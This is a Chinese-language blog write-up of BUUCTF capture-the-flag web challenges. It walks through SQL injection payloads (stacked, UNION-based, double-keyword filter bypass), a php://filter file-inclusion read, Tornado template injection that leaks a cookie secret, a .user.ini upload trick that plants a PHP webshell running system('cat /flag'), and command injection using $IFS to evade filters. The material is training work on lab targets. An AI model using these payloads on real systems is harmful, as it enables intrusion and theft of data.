记buuctf 0x01

接上一个关于buuoj上的题解,确实题很多,慢慢刷吧

[SUCTF 2019]EasySQL

唉,大佬做题都是习惯在题目上标上Easy,本菜鸡已无力吐槽(自己菜还能怪谁。。。)

Give me your flag, I will tell you if the flag is right.
输入框

只有一个输入框,输入查询的东西,只有三种回显,一个是数组,一个是Nonono,一个是返回空,猜测Nonono应该是检测到了敏感词,其他的不知道了,又是日常搜题解

参考题解之后,知道是堆叠注入,而且输入的内容并不是往常的sql注入一样是参数,而是列名,后端的查询语句:

$sql = "select ".$_POST['query']."||flag from Flag";

蒙了呀,,,这咋猜啊

根据大佬们的wp,这题有两种解法

第一种
1;set sql_mode=PIPES_AS_CONCAT;select 1

sql_mode=PIPES_AS_CONCAT是将||or变为拼接字符串,在Oracle中是缺省支持的,但是在mysql中缺省不支持,这样的话,select只会查询||之前的那一列,本地测试结果:

mysql> set sql_mode=pipes_as_concat;
Query OK, 0 rows affected (0.00 sec)

mysql> select 111||username from users limit 1;
+---------------+
| 111||username |
+---------------+
| 111Dumb       |
+---------------+
1 row in set (0.01 sec)
第二种

直接输入*,1,因为*是通配符,直接将所有的列查询出来,flag也就出来了

[HCTF 2018]admin

不会(菜的理直气壮)
大佬的wp:
HCTF2018-admin

[极客大挑战 2019]Secret File

这题主要就是涉及抓包以及文件包含,打开链接之后是个黑色的页面,显示“把一切都放在那里了,去找吧”

说实话我是鼠标乱划拉,划拉到页面下方的中间位置看到浏览器左下角有链接的提示,实际上也可以通过右键查看源代码,发现有个链接,访问之后提示让点击SECRET按钮
点击之后却返回一个页面显示说“查阅结束,没看清么?回去再仔细看看吧。”

扫描二维码关注公众号,回复: 11154321 查看本文章

猜测应该是存在页面跳转,用Burp Suite抓包可以看到有个返回的html页面中的注释secr3t.php
访问secr3t.php

<?php
    highlight_file(__FILE__);
    error_reporting(0);
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file); 
//flag放在了flag.php里
?>

然后按提示访问flag.php,结果页面上没有显示,那么flag应该是保存在falg.php中的某个变量中,可以利用secr3t.php中的文件包含,利用php的filter协议读取flag.php

构造payload:
?file=php://filter/convert.base64-encode/resource=flag.php
然后再将结果base64解码就有结果了

可参考:
php伪协议的一些总结

[护网杯 2018]easy_tornado

打开靶机是个文件列表,只有三个文件,根据题目,Tornado是使用Python编写的Web服务器兼Web应用框架,那么这题很可能与ssti有关

/flag.txt        //flag in /fllllllllllllag
/welcome.txt     //render
/hints.txt       //md5(cookie_secret+md5(filename))

注释后面是打开文件后的内容,观察打开文件后的urlflag.txturl

http://e8c959bd-9e7f-4024-a8aa-02b012ae6b1b.node3.buuoj.cn/file?filename=/flag.txt&filehash=9d2667d483e4cb5a237908e3e552d3a0

看样子filename即是要打开的文件,然后根据hints.txt可以猜测,filehash即为文件签名,签名方式即为hints.txt中的方式,那么就还需要知道cookie_secret

有关render函数的文章:render函数介绍,以及 render: h => h(App)

然后根据其他大佬的思路,在burpsuite里是找不到cookie的,应该就是存在服务端了,然后根据报错页面(随便改一个文件的签名就会有404页面)

http://e8c959bd-9e7f-4024-a8aa-02b012ae6b1b.node3.buuoj.cn/error?msg=Error

其中msg参数存在模板注入,经过测试屏蔽了很多特殊字符,输入{{1^1}}或者{{1^0}}可以进行异或运算

然后就不会了(再次菜的理直气壮),翻了一(亿)下别人的wp:学习笔记2.护网杯 2018 easy_tornado

然后直接用msg={{handler.settings}}就可以获得cookie_secret

{'autoreload': True, 'compiled_template_cache': False, 'cookie_secret': '3970aa6c-cbfd-4f76-8f21-8d2972867169'}

然后计算文件对应的签名就可以拿到flag了,payload:

file?filename=/fllllllllllllag&filehash=5a0ab60fd2f5e61767ec46a3a8785553

[SUCTF 2019]CheckIn

文件上传,emmm,只会传一句话,日常搜题解

直接上传php一句话文件是不行的,提示illegal suffix!非法后缀,直接改为jpg结尾也不行,回显<? in contents!
随便传个内容试一下,文件名123.jpg,内容test,回显exif_imagetype:not image!exif_imagetype()函数通过获取文件的第一个字节并检查签名来判断是哪种图片,不是图片则返回false

上传文件内容添加gif头GIF89a,上传成功,返回上传目录,以及目录下的文件

Your dir uploads/76d9f00467e5ee6abc3ca60892ef304e
Your files :
array(4) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(7) "123.jpg" [3]=> string(9) "index.php" }

分别是本目录.上层目录..和本目录下的index.php以及刚上传的123.jpg
目前已知信息:

  • 上传文件会经过黑名单过滤,不允许出现<?
  • 上传文件中必须存在图片文件的开头hex值

剩下的就不会了(理直气壮)
开始面向wp做题,看到大佬的wp说道可以上传.user.ini文件来实现在php文件中引入类似require('file')的效果

.user.ini中设置auto_prepend_file=shell.jpg,就可以在index.php中自动添加shell.jpg

先上传'xxx.jpg'
GIF89a
<script language='php'>system('cat /flag');</script>

然后上传'.user.ini'
GIF89a
auto_prepend_file=xxx.jpg

然后访问
http://.../uploads/76d9f00467e5ee6abc3ca60892ef304e/index.php
成功getflag

参考链接

N种方法解决

不行,怎么说得做道题,不能睡那么早,做个misc压压惊(菜鸡只会misc)
下载压缩包,解压后得到KEY.exe,但是电脑却无法运行,拖到winhex里看到直接就是base64编码的图片,base64解码之后得到二维码,然后扫码get flag

放几个base解码编码的网站:

[极客大挑战 2019]EasySQL

登录界面,输入参数之后提交到check.php,直接用的get方式,单引号可以看到报错信息,payload:uname=a' or ''='&passwd=a' or ''='

[极客大挑战 2019]LoveSQL

接上一题,联合查询注入(这题我会!),上一题的payload可以成功登陆而且给了admin的密码,但是没啥卵用,题目上说flag放在其他地方了,先order by得出有三列

然后uname=a&passwd=a' union select 1,2,'3可以看到有2和3两个回显,database(),得到数据库geek(其实这一步报错也能看到,我是手滑函数名输错了,然后提示FUNCTION geek.databse does not exist,那看来数据库就是geek了)

uname=a&passwd=a' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='geek
//查到两张表geekuser,l0ve1ysq1
uname=a&passwd=a' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='l0ve1ysq1
//查到三列id,username,password
uname=a&passwd=a' union select 1,group_concat(username),group_concat(password) from l0ve1ysq1#
//查到一大堆东西,其中password字段最后一行是flag

总结一下就是个简单的联合查询注入,,,很经典的题,没有任何过滤,sqlmap应该能直接注入(可惜我不会用,就当练手了吧),毕竟人家出题人都说了“sqlmap是没有灵魂的”(话说要是会用sqlmap谁还管你有没有灵魂)

[极客大挑战 2019]BabySQL

双写绕过,如果查询语句只经过了一次过滤,过滤方式为把关键字删除,那么直接将所有被过滤的关键字双写即可:

or -->oORr
from --> fFROMrom
union --> uUNIONnion
select --> sSELECTelect
where --> wWHEREhere
information_schema --> infoORrmation_schema
password --> passwoORrd

[GXYCTF2019]Ping Ping Ping

命令执行,但是按照别人的题解,只返回了index.php的部分源码

?ip=1;cat$IFS`ls`

也尝试了变量拼接,注意源码中的正则匹配是不允许有.*f.*l.*a.*g.*也就是顺序也不能是flag

?ip=1;a=ag.php;b=fl;cat$FS$b$a  //注意不能是a=fl;b=ag.php

但是依然没有回显,然后用管道符连接执行od -c查看

?ip=1;a=ag.php;b=fl;cat$IFS$b$a|od$IFS-c
//成功得到回显
PING 1 (0.0.0.1): 56 data bytes
0000000   <   ?   p   h   p  \r  \n   $   f   l   a   g       =       "
0000020   f   l   a   g   {   e   a   e   b   6   f   3   4   -   3   f
0000040   e   d   -   4   2   0   2   -   8   e   2   8   -   7   8   5
0000060   7   b   4   a   6   4   d   4   a   }   "   ;  \r  \n   ?   >
0000100  \r  \n
0000102

mdzz。。。刚刚重新试了一下,右键查看源代码就行了。。。没必要费事用od -c,可能是浏览器的锅,应该是浏览器识别为php代码了
index.php的代码

<?php
if(isset($_GET['ip'])){
  $ip = $_GET['ip'];
  if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "<pre>";
  print_r($a);
}
?>

总结一下可以查看文件的命令

cat	tac	nl	more	less	head	tail	od

GXYCTF2019WP
[GXYCTF2019]Ping Ping Ping {命令执行总结}

[GXYCTF2019]BabySQli

单引号报错界面查看源代码,可以看到html注释,base32之后base64会给出$sql查询语句,如果输入的用户名不是admin会回显wrong user,是则回显wrong pass,那么一定有admin这个用户,下面是github上的部分源码

$sql = "select * from user where username = '".$name."'";
//...
$arr = mysqli_fetch_row($result);
// print_r($arr);
if($arr[1] == "admin"){
	if(md5($password) == $arr[2]){
		echo $flag;
	}
	else{
		die("wrong pass!");
	}
}

知道源码之后可以再username处进行注入,通过order by(注意or被过滤,可以大写绕过)判断出有三列,可以通过联合查询返回自己要的结果,payload:

uname=a' union select 1,'admin','c4ca4238a0b923820dcc509a6f75849b&password=1

union select使得返回的结果为一行内容

1 | admin | c4ca4238a0b923820dcc509a6f75849b	//'1'的md5值

那么和md5($password)比较之后就会通过判断,然后就有flag了

原创文章 10 获赞 1 访问量 326

猜你喜欢

转载自blog.csdn.net/qq_43871200/article/details/104845145